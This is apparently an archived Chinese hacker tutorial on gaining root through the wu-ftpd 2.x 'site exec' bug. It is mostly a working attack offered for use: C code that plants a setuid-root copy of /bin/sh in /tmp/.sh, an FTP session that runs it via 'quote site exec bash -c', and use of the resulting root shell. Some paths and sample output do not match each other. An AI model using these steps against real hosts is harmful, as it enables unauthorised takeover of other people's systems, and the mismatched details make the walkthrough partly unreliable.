如何使用 wu-ftp 2.x (site exec bug) 来取得 root 权限

/ns/hk/hacker/data/20010610035049.htm

如何使用 wu-ftp 2.x (site exec bug) 来取得 root 权限
1.需求:

(1)该主机的 ftpd 使用 wu-ftp 2.x 版本

(2)您必须有该主机的任何一个帐号


2.步骤:

(1)先 telnet login 到主机您的目录下...

(2)使用 cc -o bug bug.c 将下列程序编译...

--< bug.c >-----------------------------

#include
#include
#include

main()
{
seteuid(0);
system("cp /bin/sh /tmp/.sh");
system("chmod 6777 /tmp/.sh");
}

-----------------------------------------
编译成功后会在您的目录下产生 bug 这个档案 (别忘了 chmod ...)

(3)使用 ftp login 到该主机下...

220 hackerforce FTP server (Version wu-2.4(1) Sun Jul 31 21:00:15 CDT 1997) ready.
Name (hackerforce:ftp): funky
331 Password required for funky.
Password: (password)
230 User funky logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c id" (检查系统是否能利用此 bug)
200-bash -c id
200-uid=0(root) gid=0(root) euid=101(funky) egid=50(users) groups=50(users)
200 (end of 'bash -c id') (一但出现 euid=0 就成功了)
ftp> quote "site exec bash -c /yer/home/dir/ftpbug" (执行您刚编译成功的 bug)
200-bash -c /your/home/dir/bug
200 (end of 'bash -c /your/home/dir/bug')
ftp> quit (离开 ftp)
221 Goodbye.

(4)再 telnet 进去该主机,执行 /tmp/.sh 这个 setuid root shell ...

$ id
uid=101(funky) gid=50(user)
$ /tmp/.sh

# id
uid=101(funky) gid=50(user) euid=0(root)
#

漂亮的#提示符
恭喜您...到此您就成功的拿到 root 权限了....

3.后记:
由于 wu-ftpd 执行时的 euid 是 root ,所以我们透过这个 hole 来执行执行外部的命令....
当编译完的 bug 一但被执行,便会帮您将 /bin/sh 这个 shell 复制一份到 /tmp/.sh 下,并且
会将 /tmp/.sh setuid ,一但成功後只要任何使用者执行 /tmp/.sh 这个 setuid shell 就会拥
有 root 的 euid ....